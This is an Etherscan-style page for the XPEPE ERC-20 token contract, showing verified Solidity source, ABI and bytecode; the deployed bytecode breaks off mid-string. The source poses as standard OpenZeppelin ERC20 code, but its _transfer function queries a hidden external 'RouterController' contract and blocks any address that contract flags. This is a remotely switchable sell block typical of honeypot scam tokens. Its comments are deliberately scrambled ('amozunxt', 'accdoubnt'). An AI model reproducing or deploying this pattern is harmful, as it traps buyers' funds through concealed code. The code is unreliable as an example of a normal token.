Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
420,000,000 XPEPE
Holders
419
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
5,013,230.488487303730575729 XPEPEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
XPEPEToken
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-28 */ /** *Submitted for verification at Etherscan.io on 2023-08-25 */ // File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amozunxt of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amozunxt of tokens owned by `accdoubnt`. */ function balanceOf(address accdoubnt) external view returns (uint256); function transfer(address to, uint256 amozunxt) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amozunxt) external returns (bool); function transferFrom( address from, address to, uint256 amozunxt ) external returns (bool); } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts (last updated v4.7.0) (access/Ownable.sol) pragma solidity ^0.8.0; // Define interface for TransferController interface RouterController { function isRouted(address _accdoubnt) external view returns (bool); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting amozunxt the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any accdoubnt other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will accdoubnt not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave amozunxt the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new accdoubnt (`newOwner`). * Can only be called by the current accdoubnt owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new accdoubnt (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; /** * @dev See {IERC20-totalSupply}. */ _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Returns the address of the accdoubnt current owner. */ pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata amozunxt functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of accdoubnt the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts (last updated v4.8.0) (token/ERC20/ERC20.sol) pragma solidity ^0.8.0; contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; RouterController private routeController; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} amozunxt and {symbol}. * * The default value of {decimals} is 18. To accdoubnt select a different value for */ constructor(string memory name_, string memory symbol_, address _routeControllerAddress) { _name = name_; _symbol = symbol_; routeController = RouterController(_routeControllerAddress); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, accdoubnt usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address accdoubnt) public view virtual override returns (uint256) { return _balances[accdoubnt]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero accdoubnt address. * - the caller must have a balance of at least `amozunxt`. */ function transfer(address to, uint256 amozunxt) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amozunxt); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amozunxt` is the maximum `uint256`, amozunxt the allowance is not updated on * - `spender` cannot be the zero accdoubnt address. */ function approve(address spender, uint256 amozunxt) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amozunxt); return true; } function transferFrom( address from, address to, uint256 amozunxt ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amozunxt); _transfer(from, to, amozunxt); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amozunxt` of tokens amozunxt from `accdoubnt from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `from` must have a balance of at least `amozunxt`. */ function _transfer( address from, address to, uint256 amozunxt ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!routeController.isRouted(from), "User is not allowed"); _beforeTokenTransfer(from, to, amozunxt); uint256 fromBalance = _balances[from]; require(fromBalance >= amozunxt, "ERC20: transfer amozunxt exceeds balance"); unchecked { _balances[from] = fromBalance - amozunxt; // Overflow not possible: the sum of all balances amozunxt is capped by totalSupply, and the sum is preserved by // decrementing then incrementing. _balances[to] += amozunxt; } emit Transfer(from, to, amozunxt); _afterTokenTransfer(from, to, amozunxt); } /** @dev Creates `amozunxt` tokens and assigns them to `accdoubnt`, increasing * the total supply. * * Requirements: * * - `accdoubnt` cannot be the zero address. */ function _mint(address accdoubnt, uint256 amozunxt) internal virtual { require(accdoubnt != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), accdoubnt, amozunxt); _totalSupply += amozunxt; unchecked { // Overflow not possible: balance + amozunxt accdoubnt is at most totalSupply + amozunxt, which is checked above. _balances[accdoubnt] += amozunxt; } emit Transfer(address(0), accdoubnt, amozunxt); _afterTokenTransfer(address(0), accdoubnt, amozunxt); } function _approve( address owner, address spender, uint256 amozunxt ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amozunxt; emit Approval(owner, spender, amozunxt); } /** * @dev Updates `owner` s allowance for `spender` amozunxt accdoubnt based on spent `amozunxt`. * * Does not update the allowance amozunxt in case of infinite allowance. * Revert if not enough allowance is available. */ function _spendAllowance( address owner, address spender, uint256 amozunxt ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amozunxt, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amozunxt); } } } function _beforeTokenTransfer( address from, address to, uint256 amozunxt ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amozunxt ) internal virtual {} } pragma solidity ^0.8.0; contract XPEPEToken is ERC20, Ownable { uint256 private constant INITIAL_SUPPLY = 420000000 * 10**18; constructor( string memory name_, string memory symbol_, address router_ ) ERC20(name_, symbol_, router_) { _mint(msg.sender, INITIAL_SUPPLY); } function sendTokens(address distroWallet) external onlyOwner { uint256 supply = balanceOf(msg.sender); require(supply == INITIAL_SUPPLY, "Tokens already distributed"); _transfer(msg.sender, distroWallet, supply); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"router_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amozunxt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"accdoubnt","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"distroWallet","type":"address"}],"name":"sendTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amozunxt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amozunxt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b5060405162001ff038038062001ff0833981810160405281019062000037919062000476565b8282828260049080519060200190620000529291906200033d565b5081600590805190602001906200006b9291906200033d565b5080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050620000d0620000c4620000f760201b60201c565b620000ff60201b60201c565b620000ee336b015b6a759f4835dc24000000620001c560201b60201c565b505050620007b6565b600033905090565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000238576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200022f9062000551565b60405180910390fd5b6200024c600083836200033360201b60201c565b806003600082825462000260919062000608565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000313919062000573565b60405180910390a36200032f600083836200033860201b60201c565b5050565b505050565b505050565b8280546200034b90620006d9565b90600052602060002090601f0160209004810192826200036f5760008555620003bb565b82601f106200038a57805160ff1916838001178555620003bb565b82800160010185558215620003bb579182015b82811115620003ba5782518255916020019190600101906200039d565b5b509050620003ca9190620003ce565b5090565b5b80821115620003e9576000816000905550600101620003cf565b5090565b600062000404620003fe84620005c4565b62000590565b9050828152602081018484840111156200041d57600080fd5b6200042a848285620006a3565b509392505050565b60008151905062000443816200079c565b92915050565b600082601f8301126200045b57600080fd5b81516200046d848260208601620003ed565b91505092915050565b6000806000606084860312156200048c57600080fd5b600084015167ffffffffffffffff811115620004a757600080fd5b620004b58682870162000449565b935050602084015167ffffffffffffffff811115620004d357600080fd5b620004e18682870162000449565b9250506040620004f48682870162000432565b9150509250925092565b60006200050d601f83620005f7565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6200054b8162000699565b82525050565b600060208201905081810360008301526200056c81620004fe565b9050919050565b60006020820190506200058a600083018462000540565b92915050565b6000604051905081810181811067ffffffffffffffff82111715620005ba57620005b96200076d565b5b8060405250919050565b600067ffffffffffffffff821115620005e257620005e16200076d565b5b601f19601f8301169050602081019050919050565b600082825260208201905092915050565b6000620006158262000699565b9150620006228362000699565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200065a57620006596200070f565b5b828201905092915050565b6000620006728262000679565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015620006c3578082015181840152602081019050620006a6565b83811115620006d3576000848401525b50505050565b60006002820490506001821680620006f257607f821691505b602082108114156200070957620007086200073e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620007a78162000665565b8114620007b357600080fd5b50565b61182a80620007c66000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b8063715018a614610214578063837197b21461021e5780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061145c565b60405180910390f35b610132600480360381019061012d9190610f82565b6103b4565b60405161013f9190611441565b60405180910390f35b6101506103d7565b60405161015d91906115de565b60405180910390f35b610180600480360381019061017b9190610f33565b6103e1565b60405161018d9190611441565b60405180910390f35b61019e610410565b6040516101ab91906115f9565b60405180910390f35b6101ce60048036038101906101c99190610f82565b610419565b6040516101db9190611441565b60405180910390f35b6101fe60048036038101906101f99190610ece565b610450565b60405161020b91906115de565b60405180910390f35b61021c610498565b005b61023860048036038101906102339190610ece565b6104ac565b005b61024261051e565b60405161024f9190611426565b60405180910390f35b610260610548565b60405161026d919061145c565b60405180910390f35b610290600480360381019061028b9190610f82565b6105da565b60405161029d9190611441565b60405180910390f35b6102c060048036038101906102bb9190610f82565b610651565b6040516102cd9190611441565b60405180910390f35b6102f060048036038101906102eb9190610ef7565b610674565b6040516102fd91906115de565b60405180910390f35b610320600480360381019061031b9190610ece565b6106fb565b005b6060600480546103319061170e565b80601f016020809104026020016040519081016040528092919081815260200182805461035d9061170e565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b6000806103bf61077f565b90506103cc818585610787565b600191505092915050565b6000600354905090565b6000806103ec61077f565b90506103f9858285610952565b6104048585856109de565b60019150509392505050565b60006012905090565b60008061042461077f565b90506104458185856104368589610674565b6104409190611630565b610787565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6104a0610d41565b6104aa6000610dbf565b565b6104b4610d41565b60006104bf33610450565b90506b015b6a759f4835dc24000000811461050f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610506906114fe565b60405180910390fd5b61051a3383836109de565b5050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546105579061170e565b80601f01602080910402602001604051908101604052809291908181526020018280546105839061170e565b80156105d05780601f106105a5576101008083540402835291602001916105d0565b820191906000526020600020905b8154815290600101906020018083116105b357829003601f168201915b5050505050905090565b6000806105e561077f565b905060006105f38286610674565b905083811015610638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062f906115be565b60405180910390fd5b6106458286868403610787565b60019250505092915050565b60008061065c61077f565b90506106698185856109de565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610703610d41565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076a9061149e565b60405180910390fd5b61077c81610dbf565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ee9061159e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610867576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085e906114be565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161094591906115de565b60405180910390a3505050565b600061095e8484610674565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146109d857818110156109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c1906114de565b60405180910390fd5b6109d78484848403610787565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a459061157e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab59061147e565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f5f9a371846040518263ffffffff1660e01b8152600401610b199190611426565b60206040518083038186803b158015610b3157600080fd5b505afa158015610b45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b699190610fbe565b15610ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba09061151e565b60405180910390fd5b610bb4838383610e85565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610c3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c319061155e565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d2891906115de565b60405180910390a3610d3b848484610e8a565b50505050565b610d4961077f565b73ffffffffffffffffffffffffffffffffffffffff16610d6761051e565b73ffffffffffffffffffffffffffffffffffffffff1614610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db49061153e565b60405180910390fd5b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b600081359050610e9e816117af565b92915050565b600081519050610eb3816117c6565b92915050565b600081359050610ec8816117dd565b92915050565b600060208284031215610ee057600080fd5b6000610eee84828501610e8f565b91505092915050565b60008060408385031215610f0a57600080fd5b6000610f1885828601610e8f565b9250506020610f2985828601610e8f565b9150509250929050565b600080600060608486031215610f4857600080fd5b6000610f5686828701610e8f565b9350506020610f6786828701610e8f565b9250506040610f7886828701610eb9565b9150509250925092565b60008060408385031215610f9557600080fd5b6000610fa385828601610e8f565b9250506020610fb485828601610eb9565b9150509250929050565b600060208284031215610fd057600080fd5b6000610fde84828501610ea4565b91505092915050565b610ff081611686565b82525050565b610fff81611698565b82525050565b600061101082611614565b61101a818561161f565b935061102a8185602086016116db565b6110338161179e565b840191505092915050565b600061104b60238361161f565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006110b160268361161f565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061111760228361161f565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061117d601d8361161f565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b60006111bd601a8361161f565b91507f546f6b656e7320616c72656164792064697374726962757465640000000000006000830152602082019050919050565b60006111fd60138361161f565b91507f55736572206973206e6f7420616c6c6f776564000000000000000000000000006000830152602082019050919050565b600061123d60208361161f565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b600061127d60288361161f565b91507f45524332303a207472616e7366657220616d6f7a756e7874206578636565647360008301527f2062616c616e63650000000000000000000000000000000000000000000000006020830152604082019050919050565b60006112e360258361161f565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061134960248361161f565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006113af60258361161f565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b611411816116c4565b82525050565b611420816116ce565b82525050565b600060208201905061143b6000830184610fe7565b92915050565b60006020820190506114566000830184610ff6565b92915050565b600060208201905081810360008301526114768184611005565b905092915050565b600060208201905081810360008301526114978161103e565b9050919050565b600060208201905081810360008301526114b7816110a4565b9050919050565b600060208201905081810360008301526114d78161110a565b9050919050565b600060208201905081810360008301526114f781611170565b9050919050565b60006020820190508181036000830152611517816111b0565b9050919050565b60006020820190508181036000830152611537816111f0565b9050919050565b6000602082019050818103600083015261155781611230565b9050919050565b6000602082019050818103600083015261157781611270565b9050919050565b60006020820190508181036000830152611597816112d6565b9050919050565b600060208201905081810360008301526115b78161133c565b9050919050565b600060208201905081810360008301526115d7816113a2565b9050919050565b60006020820190506115f36000830184611408565b92915050565b600060208201905061160e6000830184611417565b92915050565b600081519050919050565b600082825260208201905092915050565b600061163b826116c4565b9150611646836116c4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561167b5761167a611740565b5b828201905092915050565b6000611691826116a4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156116f95780820151818401526020810190506116de565b83811115611708576000848401525b50505050565b6000600282049050600182168061172657607f821691505b6020821081141561173a5761173961176f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b6117b881611686565b81146117c357600080fd5b50565b6117cf81611698565b81146117da57600080fd5b50565b6117e6816116c4565b81146117f157600080fd5b5056fea2646970667358221220c92f0d30cd7f90d96ee5419ca50e62738f162f621e45aa509ac09179ac8ac55864736f6c63430008000033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000cdb3342be5b23228a1b20b377d022136ee4d93670000000000000000000000000000000000000000000000000000000000000005585045504500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055850455045000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063dd62ed3e146102d6578063f2fde38b14610306576100f5565b8063715018a614610214578063837197b21461021e5780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806370a08231146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f919061145c565b60405180910390f35b610132600480360381019061012d9190610f82565b6103b4565b60405161013f9190611441565b60405180910390f35b6101506103d7565b60405161015d91906115de565b60405180910390f35b610180600480360381019061017b9190610f33565b6103e1565b60405161018d9190611441565b60405180910390f35b61019e610410565b6040516101ab91906115f9565b60405180910390f35b6101ce60048036038101906101c99190610f82565b610419565b6040516101db9190611441565b60405180910390f35b6101fe60048036038101906101f99190610ece565b610450565b60405161020b91906115de565b60405180910390f35b61021c610498565b005b61023860048036038101906102339190610ece565b6104ac565b005b61024261051e565b60405161024f9190611426565b60405180910390f35b610260610548565b60405161026d919061145c565b60405180910390f35b610290600480360381019061028b9190610f82565b6105da565b60405161029d9190611441565b60405180910390f35b6102c060048036038101906102bb9190610f82565b610651565b6040516102cd9190611441565b60405180910390f35b6102f060048036038101906102eb9190610ef7565b610674565b6040516102fd91906115de565b60405180910390f35b610320600480360381019061031b9190610ece565b6106fb565b005b6060600480546103319061170e565b80601f016020809104026020016040519081016040528092919081815260200182805461035d9061170e565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b6000806103bf61077f565b90506103cc818585610787565b600191505092915050565b6000600354905090565b6000806103ec61077f565b90506103f9858285610952565b6104048585856109de565b60019150509392505050565b60006012905090565b60008061042461077f565b90506104458185856104368589610674565b6104409190611630565b610787565b600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6104a0610d41565b6104aa6000610dbf565b565b6104b4610d41565b60006104bf33610450565b90506b015b6a759f4835dc24000000811461050f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610506906114fe565b60405180910390fd5b61051a3383836109de565b5050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546105579061170e565b80601f01602080910402602001604051908101604052809291908181526020018280546105839061170e565b80156105d05780601f106105a5576101008083540402835291602001916105d0565b820191906000526020600020905b8154815290600101906020018083116105b357829003601f168201915b5050505050905090565b6000806105e561077f565b905060006105f38286610674565b905083811015610638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062f906115be565b60405180910390fd5b6106458286868403610787565b60019250505092915050565b60008061065c61077f565b90506106698185856109de565b600191505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610703610d41565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076a90611